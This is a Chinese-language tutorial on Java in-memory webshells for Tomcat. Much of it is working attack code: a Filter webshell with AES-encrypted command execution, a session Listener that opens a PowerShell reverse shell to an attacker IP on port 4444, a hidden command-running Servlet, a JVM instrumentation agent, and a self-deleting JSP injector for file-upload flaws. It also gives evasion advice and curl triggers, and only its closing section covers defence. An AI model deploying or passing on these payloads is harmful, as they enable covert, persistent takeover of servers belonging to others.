Java内存马实战指南:从原理剖析到Web容器持久化控制
在Web渗透对抗日益激烈的今天,传统文件型WebShell(如webshell.jsp)已难以突破WAF、EDR与RASP构建的防护体系——文件落地即触发杀软告警,日志中的异常访问痕迹更是极易被溯源。而Java内存马作为“无文件攻击”的核心技术,凭借“内存驻留、动态注入、隐蔽持久”的特性,成为APT攻击与高级渗透的首选手段。2025年CNVD最新数据显示,金融、政务等关键行业的APT事件中,内存马使用率已攀升至42%,远超2024年的37%。
本文将从Java Web容器底层机制切入,深度拆解Filter、Servlet、Listener、Agent四大类内存马的实现原理,结合“文件上传→内存注入→持久化控制”的完整实战流程,带您掌握从0到1的内存马植入与防御能力。
一、内存马崛起:为何它能成为Web渗透的“隐形利刃”?
内存马的核心优势,源于对传统文件型WebShell的彻底颠覆——它不依赖任何磁盘文件,而是将恶意逻辑直接注入Java进程内存,与Web容器“共生共存”,其对抗优势可归纳为四点:
1. 无文件落地:绕过文件层防护
传统WebShell需上传.jsp或.class文件到服务器,而内存马的所有载荷(恶意类、逻辑代码)均在JVM堆内存中运行,不生成任何物理文件。这意味着:
- 杀软、HIDS的文件扫描机制完全失效;
- 服务器管理员通过
find / -name "*.jsp"排查后门时,找不到任何痕迹; - 即使清理临时文件目录(如Tomcat的
work目录),内存马仍不受影响。
2. 动态伪装:融入Web容器正常流程
Java Web容器(如Tomcat、Jetty)支持运行时动态注册组件(Filter、Servlet、Listener),内存马正是利用这一特性,将自己伪装成“合法组件”:
- 注入的Filter可命名为“LogFilter”“AuthFilter”,与业务组件名称混淆;
- 恶意Servlet绑定的URL路径可设置为
/api/health/check,伪装成健康检查接口; - Listener触发逻辑与正常Session创建、上下文启动事件绑定,日志中无异常记录。
某政务系统渗透案例中,攻击者注入的Filter型内存马隐藏在20余个正常Filter中,管理员通过Tomcat Manager查看组件列表时,未发现任何异常,直到3个月后才因偶然的命令执行流量暴露。
3. 持久化能力:突破服务重启限制
普通内存马(如Filter型)在Tomcat重启后会消失,但进阶的Agent型内存马可实现“跨重启存活”:
- 利用
java.lang.instrument.Instrumentation机制,将恶意逻辑嵌入JVM启动流程; - 通过
Attach API动态附着到目标JVM进程,加载Agent包后,即使重启Tomcat或JVM,Agent仍会被自动加载; - 部分Agent甚至能修改JVM核心类(如
java.lang.String),实现更深层次的持久化控制。
4. 动态对抗:规避静态特征检测
内存马可通过“载荷加密+类名混淆”应对静态特征匹配:
- 恶意类通过自定义ClassLoader加载,字节码在内存中解密后执行,避免被静态扫描工具捕获;
- 类名、方法名采用随机字符串(如
com.example.a1b2c3),规避“EvilFilter”“BackdoorServlet”等特征词检测; - 命令传输采用AES加密(如将
cmd=whoami加密为cmd=XxYyZz123),绕过流量层的关键字检测。
二、Java内存马基石:Web容器机制与动态注册原理
要理解内存马的实现,必须先掌握Java Web容器的请求处理流程与组件动态注册能力——这是内存马“寄生”的核心基础。
1. Java Web容器的请求处理链路
以最常用的Tomcat为例,HTTP请求从客户端到业务逻辑的完整流程如下:
Client → HTTP请求 → Connector(连接器) → Engine(引擎) → Host(虚拟主机) → Context(应用上下文) → Wrapper(Servlet包装器) → Filter Chain(过滤器链) → Servlet.service()(业务处理)
其中,Filter、Servlet、Listener是容器的三大核心组件,也是内存马的主要注入点:
- Filter:请求预处理/后处理组件,所有请求都会经过Filter链(如权限校验、字符编码转换),适合拦截所有请求;
- Servlet:业务逻辑处理组件,需绑定特定URL路径(如
/login),仅当访问该路径时才触发; - Listener:事件监听组件,可监听“应用启动、Session创建、属性变更”等事件,无需主动访问即可触发。
2. 动态注册:内存马的“生存密码”
Tomcat等容器为支持模块化开发,提供了运行时动态注册组件的API——无需修改web.xml配置文件,只需执行一段Java代码,即可向当前应用上下文(Context)中添加新的Filter、Servlet或Listener。
核心API调用逻辑如下(以Tomcat为例):
// 1. 获取当前Web应用的Context对象(关键一步,需通过请求或上下文获取)
// 从HttpServletRequest中反射获取Context(Tomcat特定实现)
Field contextField = request.getClass().getDeclaredField("context");
contextField.setAccessible(true); // 突破访问权限
ApplicationContext appContext = (ApplicationContext) contextField.get(request);
StandardContext standardContext = (StandardContext) appContext.getContext();
// 2. 动态注册组件(以Filter为例)
// 创建恶意Filter实例
Filter evilFilter = new EvilFilter();
// 注册Filter并绑定URL模式(/*表示拦截所有请求)
FilterRegistration.Dynamic filterReg = standardContext.addFilter("EvilFilter", evilFilter);
filterReg.addMappingForUrlPatterns(EnumSet.allOf(DispatcherType.class), true, "/*");
正是这一特性,让内存马得以“无配置、无文件”地嵌入Web容器——只要能在目标服务器上执行一段Java代码(如通过文件上传、命令执行漏洞),就能完成内存马注入。
三、四大主流Java内存马深度剖析
不同类型的内存马,在注入点、触发时机与隐蔽性上各有差异,适用于不同渗透场景。以下从“原理→代码实现→实战场景”拆解四大核心类型。
1. Filter型内存马:最实用的“请求拦截器”
Filter型内存马是渗透中最常用的类型——它通过拦截所有HTTP请求触发恶意逻辑,灵活性高且不影响正常业务,隐蔽性可达四星(满分五星)。
原理与实现
核心逻辑:动态注册一个恶意Filter,绑定/* URL模式,拦截所有请求;当请求中携带特定标识(如自定义HTTP头、参数)时,执行系统命令,否则正常转发请求。
恶意Filter代码(AES加密通信增强版):
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.EnumSet;
public class EvilFilter implements Filter {
// AES密钥(渗透时需动态生成,避免硬编码)
private static final String AES_KEY = "MySecretKey123456";
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// 1. 从请求头获取加密的命令(避免明文cmd被检测)
String encryptCmd = request.getHeader("X-Cmd");
if (encryptCmd != null && !encryptCmd.isEmpty()) {
try {
// 2. AES解密命令
String cmd = AesUtils.decrypt(encryptCmd, AES_KEY);
// 3. 执行系统命令
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
result.append(line).append("\n");
}
// 4. 加密返回结果
String encryptResult = AesUtils.encrypt(result.toString(), AES_KEY);
response.getWriter().write(encryptResult);
return; // 不继续转发,避免影响结果
} catch (Exception e) {
response.getWriter().write(AesUtils.encrypt("Execute failed", AES_KEY));
return;
}
}
// 无命令时,正常转发请求,不影响业务
chain.doFilter(req, res);
}
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void destroy() {}
}
// 辅助AES加密工具类
class AesUtils {
// 简化版AES加密实现(实际渗透需完善填充、模式)
public static String encrypt(String content, String key) { /* 加密逻辑 */ }
public static String decrypt(String content, String key) { /* 解密逻辑 */ }
}
注入代码(通过请求触发):
// 前提:已获取HttpServletRequest对象(如通过文件上传漏洞执行的JSP小马)
// 1. 获取StandardContext(Tomcat)
Field contextField = request.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) contextField.get(request);
StandardContext standardContext = (StandardContext) appContext.getContext();
// 2. 注册EvilFilter
Filter evilFilter = new EvilFilter();
FilterRegistration.Dynamic filterReg = standardContext.addFilter("LogFilter", evilFilter); // 伪装为日志Filter
filterReg.addMappingForUrlPatterns(EnumSet.allOf(DispatcherType.class), true, "/*"); // 拦截所有请求
实战场景
- 适用场景:需要频繁执行命令、控制目标服务器的场景(如批量拖取数据、横向移动);
- 触发方式:发送HTTP请求时携带
X-Cmd头(加密后的命令),示例:# 加密命令"whoami",发送请求 curl -H "X-Cmd: encrypted_whoami" https://target.com/any-path - 优点:请求透明转发,不影响业务正常运行;加密通信规避流量检测;
- 缺点:若未隐藏Filter名称,可通过
Arthas(sc -d javax.servlet.Filter)查看异常Filter。
2. Listener型内存马:后台潜伏的“事件触发器”
Listener型内存马通过监听Web容器事件(如Session创建、应用启动)触发恶意逻辑,无需主动发送请求,隐蔽性可达四星,适合长期潜伏。
原理与实现
核心逻辑:注入一个HttpSessionListener或ServletContextListener,当用户登录生成Session、或应用启动时,自动执行恶意代码(如反弹Shell、植入其他后门)。
Session触发型Listener代码:
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import java.io.IOException;
public class BackdoorSessionListener implements HttpSessionListener {
// 攻击者控制的IP和端口
private static final String ATTACKER_IP = "192.168.1.100";
private static final int ATTACKER_PORT = 4444;
@Override
public void sessionCreated(HttpSessionEvent se) {
// 当用户创建Session(如登录)时触发
try {
// 反弹Shell(Windows示例,Linux可替换为bash命令)
String cmd = "cmd.exe /c powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('" + ATTACKER_IP + "'," + ATTACKER_PORT + ");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}\"";
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
// 静默失败,避免抛出异常暴露痕迹
}
}
@Override
public void sessionDestroyed(HttpSessionEvent se) {}
}
注入代码:
// 1. 获取StandardContext(同Filter注入)
StandardContext standardContext = getStandardContext(request); // 自定义方法,复用Filter注入的Context获取逻辑
// 2. 注册Listener
standardContext.addApplicationEventListener(new BackdoorSessionListener());
实战场景
- 适用场景:目标服务器有用户活跃(如政务系统、电商平台),无需主动触发;
- 触发方式:用户登录、访问需要Session的页面(如购物车);
- 优点:日志无异常访问记录,RASP难以检测“事件触发”型逻辑;
- 缺点:依赖用户行为触发,无用户访问时无法激活。
3. Servlet型内存马:精准控制的“路径触发门”
Servlet型内存马需绑定特定URL路径,仅当访问该路径时才触发,隐蔽性三星,适合需要“精准控制”的场景(如仅允许攻击者访问)。
原理与实现
核心逻辑:动态注册一个恶意Servlet,绑定隐蔽URL(如/api/internal/monitor),仅当访问该URL且携带正确密钥时,执行命令。
恶意Servlet代码:
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class HiddenServlet extends HttpServlet {
// 访问密钥(避免未授权访问)
private static final String ACCESS_KEY = "SecretKey2025";
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 验证密钥
String key = req.getParameter("key");
if (key == null || !key.equals(ACCESS_KEY)) {
resp.sendError(403, "Forbidden");
return;
}
// 执行命令
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
result.append(line).append("\n");
}
resp.getWriter().write(result.toString());
}
}
}
注入代码:
// 1. 获取StandardContext
StandardContext standardContext = getStandardContext(request);
// 2. 注册Servlet,绑定隐蔽路径
ServletRegistration.Dynamic servletReg = standardContext.addServlet("MonitorServlet", new HiddenServlet());
servletReg.addMapping("/api/internal/monitor"); // 伪装为内部监控接口
servletReg.setLoadOnStartup(1); // 应用启动时加载
实战场景
- 适用场景:需要频繁手动控制,且希望减少误触发的场景;
- 触发方式:发送POST请求到绑定路径,携带密钥和命令,示例:
curl -X POST "https://target.com/api/internal/monitor?key=SecretKey2025&cmd=whoami" - 优点:路径隐蔽,非攻击者难以发现;密钥验证提升安全性;
- 缺点:URL路径可能被Web日志记录,存在暴露风险。
4. Agent型内存马:JVM级的“终极潜伏者”
Agent型内存马基于java.lang.instrument机制,可动态附着到目标JVM进程,实现“跨Web容器、重启存活”,隐蔽性五星,是APT攻击的首选长期控制手段。
原理与实现
核心逻辑:
- 编写Agent程序(包含
agentmain方法),打包为JAR包; - 通过
Attach API将Agent JAR动态附着到目标Tomcat的JVM进程; - Agent加载后,利用
Instrumentation修改JVM中的核心类(如javax.servlet.Filter),植入恶意逻辑; - 配置Agent为“JVM重启后自动加载”,实现持久化。
Agent核心代码(修改Filter类植入逻辑):
import java.lang.instrument.Instrumentation;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class EvilAgent {
// Agent附着到JVM时触发
public static void agentmain(String args, Instrumentation inst) {
// 注册类转换器,修改Filter类
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
// 仅修改javax.servlet.Filter类
if ("javax/servlet/Filter".equals(className)) {
try {
// 1. 读取原始类字节码
// 2. 通过ASM框架修改doFilter方法,植入恶意逻辑(如命令执行)
// 3. 返回修改后的字节码
return modifyFilterClass(classfileBuffer);
} catch (Exception e) {
return classfileBuffer;
}
}
return classfileBuffer;
}
}, true);
// 强制重新加载Filter类,使修改生效
try {
Class<?> filterClass = Class.forName("javax.servlet.Filter");
inst.retransformClasses(filterClass);
} catch (Exception e) {
e.printStackTrace();
}
}
// 用ASM框架修改Filter类的字节码(核心逻辑,需依赖ASM库)
private static byte[] modifyFilterClass(byte[] classfileBuffer) { /* ASM修改逻辑 */ }
}
附着Agent到目标JVM:
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AttachAgent {
public static void main(String[] args) throws AttachNotSupportedException, IOException {
// 目标Tomcat的PID(可通过jps命令获取)
String targetPid = "1234";
// Agent JAR路径(可通过HTTP下载到目标服务器临时目录)
String agentJarPath = "/tmp/evil-agent.jar";
// 附着到目标JVM
VirtualMachine vm = VirtualMachine.attach(targetPid);
vm.loadAgent(agentJarPath);
vm.detach();
}
}
实战场景
- 适用场景:需要长期控制目标服务器,且需抵御Web容器重启的场景;
- 触发方式:所有实现Filter接口的类执行
doFilter时,自动触发植入的恶意逻辑; - 优点:完全脱离Web容器控制,重启Tomcat、甚至重启JVM后仍存活;修改核心类,无独立组件注册痕迹;
- 缺点:技术门槛高,需掌握ASM字节码修改与JVM Instrumentation机制;Agent JAR需临时落地(可通过内存加载规避)。
四、实战演练:从文件上传到内存持久化控制
以“Tomcat服务器+任意文件上传漏洞”为起点,演示完整的内存马植入流程,实现“无文件残留、重启存活”的控制目标。
步骤1:利用文件上传漏洞上传临时JSP小马
攻击者先通过目标服务器的文件上传漏洞(如后台上传功能未过滤.jsp后缀),上传一个临时JSP小马(功能仅为执行内存马注入代码,用完即删):
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.Filter" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="javax.servlet.DispatcherType" %>
<%
// 1. 定义恶意Filter(内存中创建,不落地文件)
class TempEvilFilter implements Filter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws Exception {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
res.getWriter().write(sb.toString());
return;
}
chain.doFilter(req, res);
}
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void destroy() {}
}
// 2. 注入Filter型内存马
try {
// 获取StandardContext
Field contextField = request.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) contextField.get(request);
StandardContext standardContext = (StandardContext) appContext.getContext();
// 注册Filter
Filter filter = new TempEvilFilter();
standardContext.addFilter("TempFilter", filter).addMappingForUrlPatterns(EnumSet.allOf(DispatcherType.class), true, "/*");
out.print("Inject Success!");
// 3. 删除临时JSP小马(避免文件残留)
String jspPath = application.getRealPath(request.getServletPath());
new java.io.File(jspPath).delete();
} catch (Exception e) {
out.print("Inject Failed: " + e.getMessage());
}
%>
步骤2:访问JSP小马,触发内存马注入
通过浏览器或curl访问上传的JSP小马(如https://target.com/upload/temp.jsp),页面返回“Inject Success!”,表示内存马注入成功,且JSP小马已自动删除(无文件残留)。
步骤3:验证内存马有效性
发送HTTP请求触发内存马,执行系统命令(如whoami):
curl "https://target.com/any-path?cmd=whoami"
若返回服务器当前用户(如tomcat),说明内存马已正常工作。
步骤4:植入Agent型内存马,实现持久化
为确保Tomcat重启后内存马仍存活,需进一步注入Agent型内存马:
- 通过已生效的Filter型内存马,执行
AttachAgent代码(可将代码编译为字节码,通过ClassLoader动态加载执行); - 将Agent JAR包通过HTTP下载到目标服务器内存(不落地文件,利用
ByteArrayInputStream加载); - 附着Agent到Tomcat的JVM进程,修改核心类植入恶意逻辑;
- 配置JVM参数(如
-javaagent:/path/evil-agent.jar),确保重启JVM后Agent自动加载。
五、防御体系:如何抵御Java内存马攻击?
内存马的“无文件、动态注入”特性,决定了防御需从“文件层”转向“运行时层”,构建“JVM监控+流量分析+行为审计”的三重防御体系。
1. 运行时监控:捕获JVM内存异常
- 监控异常类加载:使用
Arthas工具定期查看类加载情况(sc -d javax.servlet.Filter),排查名称异常、来源不明的Filter/Servlet; - Hook关键API:通过RASP工具Hook
ServletContext.addFilter、addServlet与addApplicationEventListener方法,记录所有动态注册行为,发现异常时阻断并告警; - 检测字节码修改:监控JVM中核心类(如
javax.servlet.Filter)的字节码变化,使用Instrumentation记录类加载前后的字节码哈希,不一致时触发告警。
2. 流量分析:识别异常请求特征
- 监控自定义请求头/参数:如
X-Cmd、key等非标准头,或携带cmd、exec等关键字的参数; - 分析请求-响应特征:内存马执行命令时,响应内容常为系统命令输出(如
ls、whoami结果),可通过正则匹配这类特征; - 追踪隐蔽URL访问:监控
/api/internal/、/hidden/等非业务路径的访问,尤其是来自境外IP的请求。
3. 行为审计:排查JVM进程异常
- 检查JVM线程:通过
jstack命令查看线程栈,排查执行Runtime.exec、ProcessBuilder的异常线程; - 审计文件操作:监控临时目录(如
/tmp、Tomcat的work目录)中的异常.jsp、.jar文件,尤其是“创建后立即删除”的文件; - 定期清理组件:重启Web容器前,清理动态注册的Filter/Servlet(通过
Tomcat Manager或API),避免内存马残留。
六、结语:内存马对抗的未来趋势
随着JVM技术与渗透手段的不断演进,内存马正朝着“AI动态生成载荷”“跨平台注入”“深度内核绑定”的方向发展——例如利用大模型实时生成对抗性字节码,规避RASP的静态特征检测;或通过eBPF技术直接 hook 内核系统调用,实现超越JVM层面的控制。
对防御方而言,单纯依赖传统文件扫描已无意义,必须构建“运行时动态监控+JVM底层检测”的纵深防御体系,同时加强开发规范(如限制动态注册API的使用、审计第三方组件漏洞),才能在内存马对抗中占据主动。而对渗透测试人员,掌握内存马技术不仅是突破防护的关键,更是理解Web容器安全机制、提升对抗思维的核心途径。
更多推荐

所有评论(0)